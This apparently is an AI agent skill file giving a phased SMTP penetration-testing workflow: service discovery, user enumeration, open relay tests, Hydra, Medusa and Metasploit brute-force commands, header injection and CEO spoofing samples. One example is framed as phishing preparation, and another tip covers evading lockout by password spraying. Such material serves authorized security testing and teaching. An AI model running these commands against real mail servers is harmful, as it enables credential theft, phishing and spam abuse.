SMTP Penetration Testing: Скилл для тестирования почтовых серверов

--- name: SMTP Penetration Testing description: This skill should be used when the user asks to "perform SMTP penetration testing", "enumerate email users", "test for open mail relays", "grab SMTP banners", "brute force email credentials", or "assess mail server security". It provides comprehensive techniques for testing SMTP server security. metadata: author: zebbern version: "1.1" --- # SMTP Penetration Testing ## Purpose Conduct comprehensive security assessments of SMTP (Simple Mail Transfer Protocol) servers to identify vulnerabilities including open relays, user enumeration, weak authentication, and misconfiguration. This skill covers banner grabbing, user enumeration techniques, relay testing, brute force attacks, and security hardening recommendations. ## Prerequisites ### Required Tools ```bash # Nmap with SMTP scripts sudo apt-get install nmap # Netcat sudo apt-get install netcat # Hydra for brute force sudo apt-get install hydra # SMTP user enumeration tool sudo apt-get install smtp-user-enum # Metasploit Framework msfconsole ``` ### Required Knowledge - SMTP protocol fundamentals - Email architecture (MTA, MDA, MUA) - DNS and MX records - Network protocols ### Required Access - Target SMTP server IP/hostname - Written authorization for testing - Wordlists for enumeration and brute force ## Outputs and Deliverables 1. **SMTP Security Assessment Report** - Comprehensive vulnerability findings 2. **User Enumeration Results** - Valid email addresses discovered 3. **Relay Test Results** - Open relay status and exploitation potential 4. **Remediation Recommendations** - Security hardening guidance ## Core Workflow ### Phase 1: SMTP Architecture Understanding ``` Components: MTA (transfer) → MDA (delivery) → MUA (client) Ports: 25 (SMTP), 465 (SMTPS), 587 (submission), 2525 (alternative) Workflow: Sender MUA → Sender MTA → DNS/MX → Recipient MTA → MDA → Recipient MUA ``` ### Phase 2: SMTP Service Discovery Identify SMTP servers and versions: ```bash # Discover SMTP ports nmap -p 25,465,587,2525 -sV TARGET_IP # Aggressive service detection nmap -sV -sC -p 25 TARGET_IP # SMTP-specific scripts nmap --script=smtp-* -p 25 TARGET_IP # Discover MX records for domain dig MX target.com nslookup -type=mx target.com host -t mx target.com ``` ### Phase 3: Banner Grabbing Retrieve SMTP server information: ```bash # Using Telnet telnet TARGET_IP 25 # Response: 220 mail.target.com ESMTP Postfix # Using Netcat nc TARGET_IP 25 # Response: 220 mail.target.com ESMTP # Using Nmap nmap -sV -p 25 TARGET_IP # Version detection extracts banner info # Manual SMTP commands EHLO test # Response reveals supported extensions ``` Parse banner information: ``` Banner reveals: - Server software (Postfix, Sendmail, Exchange) - Version information - Hostname - Supported SMTP extensions (STARTTLS, AUTH, etc.) ``` ### Phase 4: SMTP Command Enumeration Test available SMTP commands: ```bash # Connect and test commands nc TARGET_IP 25 # Initial greeting EHLO attacker.com # Response shows capabilities: 250-mail.target.com 250-PIPELINING 250-SIZE 10240000 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-8BITMIME 250 DSN ``` Key commands to test: ```bash # VRFY - Verify user exists VRFY admin 250 2.1.5 admin@target.com # EXPN - Expand mailing list EXPN staff 250 2.1.5 user1@target.com 250 2.1.5 user2@target.com # RCPT TO - Recipient verification MAIL FROM:<test@attacker.com> RCPT TO:<admin@target.com> # 250 OK = user exists # 550 = user doesn't exist ``` ### Phase 5: User Enumeration Enumerate valid email addresses: ```bash # Using smtp-user-enum with VRFY smtp-user-enum -M VRFY -U /usr/share/wordlists/users.txt -t TARGET_IP # Using EXPN method smtp-user-enum -M EXPN -U /usr/share/wordlists/users.txt -t TARGET_IP # Using RCPT method smtp-user-enum -M RCPT -U /usr/share/wordlists/users.txt -t TARGET_IP # Specify port and domain smtp-user-enum -M VRFY -U users.txt -t TARGET_IP -p 25 -d target.com ``` Using Metasploit: ```bash use auxiliary/scanner/smtp/smtp_enum set RHOSTS TARGET_IP set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt set UNIXONLY true run ``` Using Nmap: ```bash # SMTP user enumeration script nmap --script smtp-enum-users -p 25 TARGET_IP # With custom user list nmap --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} -p 25 TARGET_IP ``` ### Phase 6: Open Relay Testing Test for unauthorized email relay: ```bash # Using Nmap nmap -p 25 --script smtp-open-relay TARGET_IP # Manual testing via Telnet telnet TARGET_IP 25 HELO attacker.com MAIL FROM:<test@attacker.com> RCPT TO:<victim@external-domain.com> DATA Subject: Relay Test This is a test. . QUIT # If accepted (250 OK), server is open relay ``` Using Metasploit: ```bash use auxiliary/scanner/smtp/smtp_relay set RHOSTS TARGET_IP run ``` Test variations: ```bash # Test different sender/recipient combinations MAIL FROM:<> MAIL FROM:<test@[attacker_IP]> MAIL FROM:<test@target.com> RCPT TO:<test@external.com> RCPT TO:<"test@external.com"> RCPT TO:<test%external.com@target.com> ``` ### Phase 7: Brute Force Authentication Test for weak SMTP credentials: ```bash # Using Hydra hydra -l admin -P /usr/share/wordlists/rockyou.txt smtp://TARGET_IP # With specific port and SSL hydra -l admin -P passwords.txt -s 465 -S TARGET_IP smtp # Multiple users hydra -L users.txt -P passwords.txt TARGET_IP smtp # Verbose output hydra -l admin -P passwords.txt smtp://TARGET_IP -V ``` Using Medusa: ```bash medusa -h TARGET_IP -u admin -P /path/to/passwords.txt -M smtp ``` Using Metasploit: ```bash use auxiliary/scanner/smtp/smtp_login set RHOSTS TARGET_IP set USER_FILE /path/to/users.txt set PASS_FILE /path/to/passwords.txt set VERBOSE true run ``` ### Phase 8: SMTP Command Injection Test for command injection vulnerabilities: ```bash # Header injection test MAIL FROM:<attacker@test.com> RCPT TO:<victim@target.com> DATA Subject: Test Bcc: hidden@attacker.com X-Injected: malicious-header Injected content . ``` Email spoofing test: ```bash # Spoofed sender (tests SPF/DKIM protection) MAIL FROM:<ceo@target.com> RCPT TO:<employee@target.com> DATA From: CEO <ceo@target.com> Subject: Urgent Request Please process this request immediately. . ``` ### Phase 9: TLS/SSL Security Testing Test encryption configuration: ```bash # STARTTLS support check openssl s_client -connect TARGET_IP:25 -starttls smtp # Direct SSL (port 465) openssl s_client -connect TARGET_IP:465 # Cipher enumeration nmap --script ssl-enum-ciphers -p 25 TARGET_IP ``` ### Phase 10: SPF, DKIM, DMARC Analysis Check email authentication records: ```bash # SPF/DKIM/DMARC record lookups dig TXT target.com | grep spf # SPF dig TXT selector._domainkey.target.com # DKIM dig TXT _dmarc.target.com # DMARC # SPF policy: -all = strict fail, ~all = soft fail, ?all = neutral ``` ## Quick Reference ### Essential SMTP Commands | Command | Purpose | Example | |---------|---------|---------| | HELO | Identify client | `HELO client.com` | | EHLO | Extended HELO | `EHLO client.com` | | MAIL FROM | Set sender | `MAIL FROM:<sender@test.com>` | | RCPT TO | Set recipient | `RCPT TO:<user@target.com>` | | DATA | Start message body | `DATA` | | VRFY | Verify user | `VRFY admin` | | EXPN | Expand alias | `EXPN staff` | | QUIT | End session | `QUIT` | ### SMTP Response Codes | Code | Meaning | |------|---------| | 220 | Service ready | | 221 | Closing connection | | 250 | OK / Requested action completed | | 354 | Start mail input | | 421 | Service not available | | 450 | Mailbox unavailable | | 550 | User unknown / Mailbox not found | | 553 | Mailbox name not allowed | ### Enumeration Tool Commands | Tool | Command | |------|---------| | smtp-user-enum | `smtp-user-enum -M VRFY -U users.txt -t IP` | | Nmap | `nmap --script smtp-enum-users -p 25 IP` | | Metasploit | `use auxiliary/scanner/smtp/smtp_enum` | | Netcat | `nc IP 25` then manual commands | ### Common Vulnerabilities | Vulnerability | Risk | Test Method | |--------------|------|-------------| | Open Relay | High | Relay test with external recipient | | User Enumeration | Medium | VRFY/EXPN/RCPT commands | | Banner Disclosure | Low | Banner grabbing | | Weak Auth | High | Brute force attack | | No TLS | Medium | STARTTLS test | | Missing SPF/DKIM | Medium | DNS record lookup | ## Constraints and Limitations ### Legal Requirements - Only test SMTP servers you own or have authorization to test - Sending spam or malicious emails is illegal - Document all testing activities - Do not abuse discovered open relays ### Technical Limitations - VRFY/EXPN often disabled on modern servers - Rate limiting may slow enumeration - Some servers respond identically for valid/invalid users - Greylisting may delay enumeration responses ### Ethical Boundaries - Never send actual spam through discovered relays - Do not harvest email addresses for malicious use - Report open relays to server administrators - Use findings only for authorized security improvement ## Examples ### Example 1: Complete SMTP Assessment **Scenario:** Full security assessment of mail server ```bash # Step 1: Service discovery nmap -sV -sC -p 25,465,587 mail.target.com # Step 2: Banner grab nc mail.target.com 25 EHLO test.com QUIT # Step 3: User enumeration smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t mail.target.com # Step 4: Open relay test nmap -p 25 --script smtp-open-relay mail.target.com # Step 5: Authentication test hydra -l admin -P /usr/share/wordlists/fasttrack.txt smtp://mail.target.com # Step 6: TLS check openssl s_client -connect mail.target.com:25 -starttls smtp # Step 7: Check email authentication dig TXT target.com | grep spf dig TXT _dmarc.target.com ``` ### Example 2: User Enumeration Attack **Scenario:** Enumerate valid users for phishing preparation ```bash # Method 1: VRFY smtp-user-enum -M VRFY -U users.txt -t 192.168.1.100 -p 25 # Method 2: RCPT with timing analysis smtp-user-enum -M RCPT -U users.txt -t 192.168.1.100 -p 25 -d target.com # Method 3: Metasploit msfconsole use auxiliary/scanner/smtp/smtp_enum set RHOSTS 192.168.1.100 set USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt run # Results show valid users [+] 192.168.1.100:25 - Found user: admin [+] 192.168.1.100:25 - Found user: root [+] 192.168.1.100:25 - Found user: postmaster ``` ### Example 3: Open Relay Exploitation **Scenario:** Test and document open relay vulnerability ```bash # Test via Telnet telnet mail.target.com 25 HELO attacker.com MAIL FROM:<test@attacker.com> RCPT TO:<test@gmail.com> # If 250 OK - VULNERABLE # Document with Nmap nmap -p 25 --script smtp-open-relay --script-args smtp-open-relay.from=test@attacker.com,smtp-open-relay.to=test@external.com mail.target.com # Output: # PORT STATE SERVICE # 25/tcp open smtp # |_smtp-open-relay: Server is an open relay (14/16 tests) ``` ## Troubleshooting | Issue | Cause | Solution | |-------|-------|----------| | Connection Refused | Port blocked or closed | Check port with nmap; ISP may block port 25; try 587/465; use VPN | | VRFY/EXPN Disabled | Server hardened | Use RCPT TO method; analyze response time/code variations | | Brute Force Blocked | Rate limiting/lockout | Slow down (`hydra -W 5`); use password spraying; check for fail2ban | | SSL/TLS Errors | Wrong port or protocol | Use 465 for SSL, 25/587 for STARTTLS; verify EHLO response | ## Security Recommendations ### For Administrators 1. **Disable Open Relay** - Require authentication for external delivery 2. **Disable VRFY/EXPN** - Prevent user enumeration 3. **Enforce TLS** - Require STARTTLS for all connections 4. **Implement SPF/DKIM/DMARC** - Prevent email spoofing 5. **Rate Limiting** - Prevent brute force attacks 6. **Account Lockout** - Lock accounts after failed attempts 7. **Banner Hardening** - Minimize server information disclosure 8. **Log Monitoring** - Alert on suspicious activity 9. **Patch Management** - Keep SMTP software updated 10. **Access Controls** - Restrict SMTP to authorized IPs